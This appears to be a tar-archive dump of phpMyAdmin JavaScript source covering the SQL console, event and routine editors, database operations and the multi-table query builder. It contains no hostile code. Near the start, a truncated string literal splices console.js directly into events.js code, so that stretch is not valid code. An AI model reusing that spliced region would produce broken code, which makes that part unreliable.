Console.$consoleAllContents.height(ConsoleResizer.resultHeight); Console.scrollBottom(); } else { Console.$consoleAllContents.height(ConsoleResizer.resultHeight); } } }, /** * Mouseup event handler for bind to resizer * * @return {void} */ mouseUp: function () { Console.setConfig('Height', ConsoleResizer.resultHeight); Console.show(); $(document).off('mousemove'); $(document).off('mouseup'); $(document).off('selectstart'); }, /** * Used for console resizer initialize * * @return {void} */ initialize: function () { $('#pma_console').find('.toolbar').off('mousedown'); $('#pma_console').find('.toolbar').on('mousedown', ConsoleResizer.mouseDown); } }; /** * Console input object */ var ConsoleInput = { /** * @var array, contains Codemirror objects or input jQuery objects * @access private */ inputs: null, /** * @var {boolean}, if codemirror enabled * @access private */ codeMirror: false, /** * @var {number}, count for history navigation, 0 for current input * @access private */ historyCount: 0, /** * @var {string}, current input when navigating through history * @access private */ historyPreserveCurrent: null, /** * Used for console input initialize * * @return {void} */ initialize: function () { // _cm object can't be reinitialize if (ConsoleInput.inputs !== null) { return; } if (typeof CodeMirror !== 'undefined') { ConsoleInput.codeMirror = true; } ConsoleInput.inputs = []; if (ConsoleInput.codeMirror) { // eslint-disable-next-line new-cap ConsoleInput.inputs.console = CodeMirror($('#pma_console').find('.console_query_input')[0], { // style: cm-s-pma theme: 'pma', mode: 'text/x-sql', lineWrapping: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, } }); ConsoleInput.inputs.console.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); ConsoleInput.inputs.console.on('keydown', function (instance, event) { ConsoleInput.historyNavigate(event); }); if ($('#pma_bookmarks').length !== 0) { // eslint-disable-next-line new-cap ConsoleInput.inputs.bookmark = CodeMirror($('#pma_console').find('.bookmark_add_input')[0], { // style: cm-s-pma theme: 'pma', mode: 'text/x-sql', lineWrapping: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, } }); ConsoleInput.inputs.bookmark.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); } } else { ConsoleInput.inputs.console = $(''; var $ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $('table.data').find('tr').each(function () { text = $(this) .children('td') .eq(0) .find('strong') .text() .toUpperCase() .trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (! inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $('table.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert') .show('slow') .removeClass('ajaxInsert'); } else if ($('table.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $('table.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $('table.data').find('tr').has('td').each(function () { rowclass = (ct % 2 === 0) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($('table.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible') ) { $('#nothing2display').hide('slow', function () { $('table.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.eventEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
          ').text( $currRow.children('td').children('.drop_sql').html() ); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); }, /** * Validate custom editor form fields. * * @return {bool} */ validateCustom: function () { /** * @var elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; if (this.$ajaxDialog.find('select[name=item_type]').find(':selected').val() === 'RECURRING') { // The interval field must not be empty for recurring events $elm = this.$ajaxDialog.find('input[name=item_interval_value]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } } else { // The execute_at field must not be empty for "once off" events $elm = this.$ajaxDialog.find('input[name=item_execute_at]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } } return true; } }; AJAX.registerOnload('database/events.js', function () { /** * Attach Ajax event handlers for the Add/Edit functionality. */ $(document).on('click', 'a.ajax.add_anchor, a.ajax.edit_anchor', function (event) { event.preventDefault(); if ($(this).hasClass('add_anchor')) { $.datepicker.initialized = false; } DatabaseEvents.editorDialog($(this).hasClass('add_anchor'), $(this)); }); /** * Attach Ajax event handlers for Export */ $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseEvents.exportDialog($(this)); }); // end $(document).on() $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseEvents.exportDialog($(this)); }); // end $(document).on() /** * Attach Ajax event handlers for Drop functionality */ $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseEvents.dropDialog($(this)); }); // end $(document).on() $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseEvents.dropMultipleDialog($(this)); }); // end $(document).on() /** * Attach Ajax event handlers for the "Change event type" functionality, so that the correct * rows are shown in the editor when changing the event type */ $(document).on('change', 'select[name=item_type]', function () { $(this).closest('table').find('tr.recurring_event_row, tr.onetime_event_row').toggle(); }); }); database/multi_table_query.js000066600000020753151724624350012420 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * @requires js/database/query_generator.js * */ /* global generateFromBlock, generateWhereBlock */ // js/database/query_generator.js /** * js file for handling AJAX and other events in /database/multi-table-query */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/multi_table_query.js', function () { $('.tableNameSelect').each(function () { $(this).off('change'); }); $('#update_query_button').off('click'); $('#add_column_button').off('click'); }); AJAX.registerOnload('database/multi_table_query.js', function () { var editor = Functions.getSqlEditor($('#MultiSqlquery'), {}, 'both'); $('.CodeMirror-line').css('text-align', 'left'); editor.setSize(-1, 50); var columnCount = 3; addNewColumnCallbacks(); $('#update_query_button').on('click', function () { var columns = []; var tableAliases = {}; $('.tableNameSelect').each(function () { var $show = $(this).siblings('.show_col').first(); if ($(this).val() !== '' && $show.prop('checked')) { var tableAlias = $(this).siblings('.table_alias').first().val(); var columnAlias = $(this).siblings('.col_alias').first().val(); if (tableAlias !== '') { columns.push([tableAlias, $(this).siblings('.columnNameSelect').first().val()]); } else { columns.push([$(this).val(), $(this).siblings('.columnNameSelect').first().val()]); } columns[columns.length - 1].push(columnAlias); if ($(this).val() in tableAliases) { if (!(tableAliases[$(this).val()].includes(tableAlias))) { tableAliases[$(this).val()].push(tableAlias); } } else { tableAliases[$(this).val()] = [tableAlias]; } } }); if (Object.keys(tableAliases).length === 0) { Functions.ajaxShowMessage('Nothing selected', false, 'error'); return; } var foreignKeys; $.ajax({ type: 'GET', async: false, url: 'index.php?route=/database/multi-table-query/tables', data: { 'server': sessionStorage.server, 'db': $('#db_name').val(), 'tables': Object.keys(tableAliases), 'ajax_request': '1', 'token': CommonParams.get('token') }, success: function (response) { foreignKeys = response.foreignKeyConstrains; } }); var query = 'SELECT ' + '`' + Functions.escapeBacktick(columns[0][0]) + '`.'; if (columns[0][1] === '*') { query += '*'; } else { query += '`' + Functions.escapeBacktick(columns[0][1]) + '`'; } if (columns[0][2] !== '') { query += ' AS `' + Functions.escapeBacktick(columns[0][2]) + '`'; } for (var i = 1; i < columns.length; i++) { query += ', `' + Functions.escapeBacktick(columns[i][0]) + '`.'; if (columns[i][1] === '*') { query += '*'; } else { query += '`' + Functions.escapeBacktick(columns[i][1]) + '`'; } if (columns[i][2] !== '') { query += ' AS `' + Functions.escapeBacktick(columns[i][2]) + '`'; } } query += '\nFROM '; query += generateFromBlock(tableAliases, foreignKeys); var $criteriaColCount = $('.criteria_col:checked').length; if ($criteriaColCount > 0) { query += '\nWHERE '; query += generateWhereBlock(); } query += ';'; editor.getDoc().setValue(query); }); $('#submit_query').on('click', function () { var query = editor.getDoc().getValue(); // Verifying that the query is not empty if (query === '') { Functions.ajaxShowMessage(Messages.strEmptyQuery, false, 'error'); return; } var data = { 'db': $('#db_name').val(), 'sql_query': query, 'ajax_request': '1', 'server': CommonParams.get('server'), 'token': CommonParams.get('token') }; $.ajax({ type: 'POST', url: 'index.php?route=/database/multi-table-query/query', data: data, success: function (data) { var $resultsDom = $(data.message); $resultsDom.find('.ajax:not(.pageselector)').each(function () { $(this).on('click', function (event) { event.preventDefault(); }); }); $resultsDom.find('.autosubmit, .pageselector, .showAllRows, .filter_rows').each(function () { $(this).on('change click select focus', function (event) { event.preventDefault(); }); }); $('#sql_results').html($resultsDom); $('#slide-handle').trigger('click');// Collapse search criteria area } }); }); $('#add_column_button').on('click', function () { columnCount++; var $newColumnDom = $($('#new_column_layout').html()).clone(); $newColumnDom.find('.jsCriteriaButton').first().attr('data-bs-target', '#criteriaOptionsExtra' + columnCount.toString()); $newColumnDom.find('.jsCriteriaButton').first().attr('aria-controls', 'criteriaOptionsExtra' + columnCount.toString()); $newColumnDom.find('.jsCriteriaOptions').first().attr('id', 'criteriaOptionsExtra' + columnCount.toString()); $('#add_column_button').parent().before($newColumnDom); addNewColumnCallbacks(); }); function addNewColumnCallbacks () { $('.tableNameSelect').each(function () { $(this).on('change', function () { var $sibs = $(this).siblings('.columnNameSelect'); if ($sibs.length === 0) { $sibs = $(this).parent().parent().find('.columnNameSelect'); } $sibs.first().html($('#' + $(this).find(':selected').data('hash')).html()); }); }); $('.jsRemoveColumn').each(function () { $(this).on('click', function () { $(this).parent().remove(); }); }); $('.jsCriteriaButton').each(function () { $(this).on('click', function (event, from) { if (from === null) { var $checkbox = $(this).siblings('.criteria_col').first(); $checkbox.prop('checked', !$checkbox.prop('checked')); } var $criteriaColCount = $('.criteria_col:checked').length; if ($criteriaColCount > 1) { $(this).siblings('.jsCriteriaOptions').first().find('.logical_operator').first().css('display','table-row'); } }); }); $('.criteria_col').each(function () { $(this).on('change', function () { var $anchor = $(this).siblings('.jsCriteriaButton').first(); if ($(this).is(':checked') && ! $anchor.hasClass('collapsed')) { // Do not collapse on checkbox tick as it does not make sense // The user has it open and wants to tick the box return; } $anchor.trigger('click', ['Trigger']); }); }); $('.criteria_rhs').each(function () { $(this).on('change', function () { var $rhsCol = $(this).parent().parent().siblings('.rhs_table').first(); var $rhsText = $(this).parent().parent().siblings('.rhs_text').first(); if ($(this).val() === 'text') { $rhsCol.css('display', 'none'); $rhsText.css('display', 'table-row'); } else if ($(this).val() === 'anotherColumn') { $rhsText.css('display', 'none'); $rhsCol.css('display', 'table-row'); } else { $rhsText.css('display', 'none'); $rhsCol.css('display', 'none'); } }); }); } }); database/operations.js000066600000015042151724624350011050 0ustar00/** * @fileoverview function used in server privilege pages * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Ajax event handlers here for /database/operations * * Actions Ajaxified here: * Rename Database * Copy Database * Change Charset * Drop Database */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/operations.js', function () { $(document).off('submit', '#rename_db_form.ajax'); $(document).off('submit', '#copy_db_form.ajax'); $(document).off('submit', '#change_db_charset_form.ajax'); $(document).off('click', '#drop_db_anchor.ajax'); }); AJAX.registerOnload('database/operations.js', function () { /** * Ajax event handlers for 'Rename Database' */ $(document).on('submit', '#rename_db_form.ajax', function (event) { event.preventDefault(); if (Functions.emptyCheckTheField(this, 'newname')) { Functions.ajaxShowMessage(Messages.strFormEmpty, false, 'error'); return false; } var oldDbName = CommonParams.get('db'); var newDbName = $('#new_db_name').val(); if (newDbName === oldDbName) { Functions.ajaxShowMessage(Messages.strDatabaseRenameToSameName, false, 'error'); return false; } var $form = $(this); var question = Functions.escapeHtml('CREATE DATABASE ' + newDbName + ' / DROP DATABASE ' + oldDbName); Functions.prepareForAjaxRequest($form); $form.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(Messages.strRenamingDatabases, false); $.post(url, $('#rename_db_form').serialize() + CommonParams.get('arg_separator') + 'is_js_confirmed=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); CommonParams.set('db', data.newname); Navigation.reload(function () { $('#pma_navigation_tree') .find('a:not(\'.expander\')') .each(function () { var $thisAnchor = $(this); if ($thisAnchor.text() === data.newname) { // simulate a click on the new db name // in navigation $thisAnchor.trigger('click'); } }); }); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }); // end Rename Database /** * Ajax Event Handler for 'Copy Database' */ $(document).on('submit', '#copy_db_form.ajax', function (event) { event.preventDefault(); if (Functions.emptyCheckTheField(this, 'newname')) { Functions.ajaxShowMessage(Messages.strFormEmpty, false, 'error'); return false; } Functions.ajaxShowMessage(Messages.strCopyingDatabase, false); var $form = $(this); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { // use messages that stay on screen $('.alert-success, .alert-danger').fadeOut(); if (typeof data !== 'undefined' && data.success === true) { if ($('#checkbox_switch').is(':checked')) { CommonParams.set('db', data.newname); CommonActions.refreshMain(false, function () { Functions.ajaxShowMessage(data.message); }); } else { CommonParams.set('db', data.db); Functions.ajaxShowMessage(data.message); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end copy database /** * Change tables columns visible only if change tables is checked */ $('#span_change_all_tables_columns_collations').hide(); $('#checkbox_change_all_tables_collations').on('click', function () { $('#span_change_all_tables_columns_collations').toggle(); }); /** * Ajax Event handler for 'Change Charset' of the database */ $(document).on('submit', '#change_db_charset_form.ajax', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); Functions.ajaxShowMessage(Messages.strChangingCharset); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end change charset /** * Ajax event handlers for Drop Database */ $(document).on('click', '#drop_db_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropDatabaseStrongWarning + ' '; question += Functions.sprintf( Messages.strDoYouReally, 'DROP DATABASE `' + Functions.escapeHtml(CommonParams.get('db') + '`') ); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $(this).confirm(question, $(this).attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { // Database deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('db', ''); CommonActions.refreshMain( 'index.php?route=/server/databases', function () { Functions.ajaxShowMessage(data.message); } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); }); database/qbe.js000066600000004710151724624350007434 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Ajax event handlers here for /database/qbe * * Actions Ajaxified here: * Select saved search */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/qbe.js', function () { $(document).off('change', 'select[name^=criteriaColumn]'); $(document).off('change', '#searchId'); $(document).off('click', '#saveSearch'); $(document).off('click', '#updateSearch'); $(document).off('click', '#deleteSearch'); }); AJAX.registerOnload('database/qbe.js', function () { Functions.getSqlEditor($('#textSqlquery'), {}, 'none'); $('#tblQbe').width($('#tblQbe').parent().width()); $('#tblQbeFooters').width($('#tblQbeFooters').parent().width()); $('#tblQbe').on('resize', function () { var newWidthTblQbe = $('#textSqlquery').next().width(); $('#tblQbe').width(newWidthTblQbe); $('#tblQbeFooters').width(newWidthTblQbe); }); /** * Ajax handler to check the corresponding 'show' checkbox when column is selected */ $(document).on('change', 'select[name^=criteriaColumn]', function () { if ($(this).val()) { var index = (/\d+/).exec($(this).attr('name')); $('input[name=criteriaShow\\[' + index + '\\]]').prop('checked', true); } }); /** * Ajax event handlers for 'Select saved search' */ $(document).on('change', '#searchId', function () { $('#action').val('load'); $('#formQBE').trigger('submit'); }); /** * Ajax event handlers for 'Create bookmark' */ $(document).on('click', '#saveSearch', function () { $('#action').val('create'); }); /** * Ajax event handlers for 'Update bookmark' */ $(document).on('click', '#updateSearch', function () { $('#action').val('update'); }); /** * Ajax event handlers for 'Delete bookmark' */ $(document).on('click', '#deleteSearch', function () { var question = Functions.sprintf(Messages.strConfirmDeleteQBESearch, $('#searchId').find('option:selected').text()); if (!confirm(question)) { return false; } $('#action').val('delete'); }); var windowwidth = $(window).width(); $('.jsresponsive').css('max-width', (windowwidth - 35) + 'px'); }); database/query_generator.js000066600000011263151724624350012101 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /* global sprintf */ // js/vendor/sprintf.js function getFormatsText () { return { '=': ' = \'%s\'', '>': ' > \'%s\'', '>=': ' >= \'%s\'', '<': ' < \'%s\'', '<=': ' <= \'%s\'', '!=': ' != \'%s\'', 'LIKE': ' LIKE \'%s\'', 'LIKE %...%': ' LIKE \'%%%s%%\'', 'NOT LIKE': ' NOT LIKE \'%s\'', 'NOT LIKE %...%': ' NOT LIKE \'%%%s%%\'', 'BETWEEN': ' BETWEEN \'%s\'', 'NOT BETWEEN': ' NOT BETWEEN \'%s\'', 'IS NULL': ' \'%s\' IS NULL', 'IS NOT NULL': ' \'%s\' IS NOT NULL', 'REGEXP': ' REGEXP \'%s\'', 'REGEXP ^...$': ' REGEXP \'^%s$\'', 'NOT REGEXP': ' NOT REGEXP \'%s\'' }; } function generateCondition (criteriaDiv, table) { var query = '`' + Functions.escapeBacktick(table.val()) + '`.'; query += '`' + Functions.escapeBacktick(table.siblings('.columnNameSelect').first().val()) + '`'; if (criteriaDiv.find('.criteria_rhs').first().val() === 'text') { var formatsText = getFormatsText(); query += sprintf(formatsText[criteriaDiv.find('.criteria_op').first().val()], Functions.escapeSingleQuote(criteriaDiv.find('.rhs_text_val').first().val())); } else { query += ' ' + criteriaDiv.find('.criteria_op').first().val(); query += ' `' + Functions.escapeBacktick(criteriaDiv.find('.tableNameSelect').first().val()) + '`.'; query += '`' + Functions.escapeBacktick(criteriaDiv.find('.columnNameSelect').first().val()) + '`'; } return query; } // eslint-disable-next-line no-unused-vars function generateWhereBlock () { var count = 0; var query = ''; $('.tableNameSelect').each(function () { var criteriaDiv = $(this).siblings('.jsCriteriaOptions').first(); var useCriteria = $(this).siblings('.criteria_col').first(); if ($(this).val() !== '' && useCriteria.prop('checked')) { if (count > 0) { criteriaDiv.find('input.logical_op').each(function () { if ($(this).prop('checked')) { query += ' ' + $(this).val() + ' '; } }); } query += generateCondition(criteriaDiv, $(this)); count++; } }); return query; } function generateJoin (newTable, tableAliases, fk) { var query = ''; query += ' \n\tLEFT JOIN ' + '`' + Functions.escapeBacktick(newTable) + '`'; if (tableAliases[fk.TABLE_NAME][0] !== '') { query += ' AS `' + Functions.escapeBacktick(tableAliases[newTable][0]) + '`'; query += ' ON `' + Functions.escapeBacktick(tableAliases[fk.TABLE_NAME][0]) + '`'; } else { query += ' ON `' + Functions.escapeBacktick(fk.TABLE_NAME) + '`'; } query += '.`' + fk.COLUMN_NAME + '`'; if (tableAliases[fk.REFERENCED_TABLE_NAME][0] !== '') { query += ' = `' + Functions.escapeBacktick(tableAliases[fk.REFERENCED_TABLE_NAME][0]) + '`'; } else { query += ' = `' + Functions.escapeBacktick(fk.REFERENCED_TABLE_NAME) + '`'; } query += '.`' + fk.REFERENCED_COLUMN_NAME + '`'; return query; } function existReference (table, fk, usedTables) { var isReferredBy = fk.TABLE_NAME === table && usedTables.includes(fk.REFERENCED_TABLE_NAME); var isReferencedBy = fk.REFERENCED_TABLE_NAME === table && usedTables.includes(fk.TABLE_NAME); return isReferredBy || isReferencedBy; } function tryJoinTable (table, tableAliases, usedTables, foreignKeys) { for (var i = 0; i < foreignKeys.length; i++) { var fk = foreignKeys[i]; if (existReference(table, fk, usedTables)) { return generateJoin(table, tableAliases, fk); } } return ''; } function appendTable (table, tableAliases, usedTables, foreignKeys) { var query = tryJoinTable (table, tableAliases, usedTables, foreignKeys); if (query === '') { if (usedTables.length > 0) { query += '\n\t, '; } query += '`' + Functions.escapeBacktick(table) + '`'; if (tableAliases[table][0] !== '') { query += ' AS `' + Functions.escapeBacktick(tableAliases[table][0]) + '`'; } } usedTables.push(table); return query; } // eslint-disable-next-line no-unused-vars function generateFromBlock (tableAliases, foreignKeys) { var usedTables = []; var query = ''; for (var table in tableAliases) { if (tableAliases.hasOwnProperty(table)) { query += appendTable(table, tableAliases, usedTables, foreignKeys); } } return query; } database/routines.js000066600000127647151724624350010554 0ustar00AJAX.registerTeardown('database/routines.js', function () { $(document).off('click', 'a.ajax.add_anchor'); $(document).off('click', 'a.ajax.edit_anchor'); $(document).off('click', 'a.ajax.exec_anchor'); $(document).off('click', 'a.ajax.export_anchor'); $(document).off('click', '#bulkActionExportButton'); $(document).off('click', 'a.ajax.drop_anchor'); $(document).off('click', '#bulkActionDropButton'); $(document).off('change', 'select[name=item_type]'); $(document).off('change', 'select[name^=item_param_type]'); $(document).off('change', 'select[name=item_returntype]'); $(document).off('click', '#addRoutineParameterButton'); $(document).off('click', 'a.routine_param_remove_anchor'); }); const DatabaseRoutines = { /** * @var {string} paramTemplate Template for a row in the routine editor */ paramTemplate: '', /** * @var $ajaxDialog Query object containing the reference to the * dialog that contains the editor */ $ajaxDialog: null, /** * @var syntaxHiglighter Reference to the codemirror editor */ syntaxHiglighter: null, /** * Validate editor form fields. * * @return {bool} */ validate: function () { /** * @var $elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; // Common validation. At the very least the name // and the definition must be provided for an item $elm = $('table.rte_table').last().find('input[name=item_name]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } $elm = $('table.rte_table').find('textarea[name=item_definition]'); if ($elm.val() === '') { if (this.syntaxHiglighter !== null) { this.syntaxHiglighter.focus(); } else { $('textarea[name=item_definition]').last().trigger('focus'); } alert(Messages.strFormEmpty); return false; } // The validation has so far passed, so now // we can validate item-specific fields. return this.validateCustom(); }, exportDialog: function ($this) { var $msg = Functions.ajaxShowMessage(); if ($this.attr('id') === 'bulkActionExportButton') { var combined = { success: true, title: Messages.strExport, message: '', error: '' }; // export anchors of all selected rows var exportAnchors = $('input.checkall:checked').parents('tr').find('.export_anchor'); var count = exportAnchors.length; var returnCount = 0; // No routine is exportable (due to privilege issues) if (count === 0) { Functions.ajaxShowMessage(Messages.NoExportable); } var p = $.when(); exportAnchors.each(function () { var h = $(this).attr('href'); p = p.then(function () { return $.get(h, { 'ajax_request': true }, function (data) { returnCount++; if (data.success === true) { combined.message += '\n' + data.message + '\n'; if (returnCount 